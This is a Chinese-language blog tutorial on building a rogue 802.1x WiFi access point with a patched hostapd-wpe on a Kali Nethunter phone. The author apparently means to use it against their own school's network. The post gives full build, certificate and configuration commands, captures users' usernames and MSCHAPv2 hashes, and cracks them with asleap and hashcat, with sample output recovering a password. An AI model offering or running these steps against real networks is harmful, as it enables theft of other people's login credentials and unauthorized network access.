使用Kali Nethunter破解802.1x安全性WiFi

1 分钟读完

背景

笔者学校的无线网络采用1x认证方式,所以你懂的。

之前参考GitHub上的一个项目https://github.com/OpenSecurityResearch/hostapd-wpe在Kali2.0上部署成功,但是在手机端的情况比较不同,猜测是因为架构有一定区别所导致的,而且该网页上的Hostapd版本比较低,遂继续查找,找到了aircrack-ng的GitHub的某一个页面上展示了Hostapd-wpe的用法https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/hostapd-wpe

页面上写的比较详细,但是实践中笔者还是踩了不少坑,下面开始:

注意,本文在Kali 2.0及以上的版本中应该也适用!但是本人没有测试,还请测试通过的朋友留个言

依赖

  • pkg-config
  • libssl 1.0
  • libnl3 (and genl)
  • sqlite3

安装依赖:

apt-get install libssl1.0-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev

由于手机上敲指令过于蛋疼,笔者自己ssh到了手机上,在Kali的应用中可以直接打开SSH服务。

用ftp或者wget之类的将patch文件下载到手机上,这里笔者的路径是 ~/1x/ ,执行:

注:补丁文件https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-wpe.patch

下载、编译、安装

# 下载
wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz
tar -zxf hostapd-2.6.tar.gz
cd hostapd-2.6
# 打补丁
patch -p1 < ../hostapd-wpe.patch
cd hostapd
# 编译安装
make
make install
make wpe

制作证书

cd /etc/hostapd-wpe/certs
./bootstrap
make install

这里会出现关于gendh命令未找到的错误,原因是openssl将gendh已经换成了dhparam,在该目录下的Makefile中将gendh替换为dhparam即可。

运行

请注意在Nethunter中已经预先安装了hostapd,但是那个版本的hostapd是不支持1x的。所以请切换到我们部署的hostapd目录下,运行:

./hostapd ./hostapd-wpe.conf

这里的配置文件需要修改,需要修改的地方有:

interface=wlan1
ssid=YOUR_SSID
driver=nl80211
hw_mode=g
#fragm_threshold=-1
#rts_threshold=-1
# 以上两行需要添加注释

之后再运行,即可成功。日志的数据为该目录下的hostapd-wpe.log文件,其记载了用户的用户名和MSCHAPv2认证hash值。

破解

由于采用MSCHAPv2认证,所以密码并不会明文显示。主要有两种方法,其一是直接用系统中的工具asleep进行破解,举个栗子:

asleep

采集到的日志样例:

username: jdslfkjs
challenge: bc:87:6c:48:37:d3:92:6e
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

执行:

$ asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist
asleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>
hash bytes:        b1ca
NT hash:           e614b958df9df49ec094b8730f0bb1ca
password:          bradtest

其中wordlist需要自己准备

hashcat

另一种方法是利用hashcat进行破解,其好处是可以根据掩码实时生产字典爆破而且可以使用GPU+CPU资源进行破解,速度比较科学。

关于hashcat的获取,请去官方网站https://hashcat.net/下载。

hashcat brief introduction

hashcat [选项] ... hash|hashfile|hccapfile [字典|掩码|路径]
-m, --hash-type        /哈希值类型,我们使用5500 NetNTLMv1
-a, --attack-mode      /攻击模式,这里使用3 暴力破解
-d, --opencl-devices   /使用设备,1:CPU 2:GPU 3:FPGA,DSP
-o, --outfile          /输出文件路径-i, --incerment        /掩码破击时使用,设置掩码上下限

笔者这里使用的参数如下:

./hashcat64.exe -d 1 -a 3 -m 5500 -o "output path" -i --increment-min=1 --increment-max=8 -1 ?l "input filepath" ?1?1?1?1?1?1?1?1

其中,-1 ?l 代表定义1号掩码的格式为所有小写字母,参考掩码:

hashcat maskcode

? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
s |  !"#$%&'()*+,-./:;[email protected][\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

将之前得到的输出结果按照 username::::response:challenge 的格式存储在文本文档中,注意去掉hash值中的冒号。运行hashcat

后记

为了方便起见,可以将其作为用户定义脚本存储在nethunter的custom command中: OP3 customcommand

运行截图: OP3 test1x

留下评论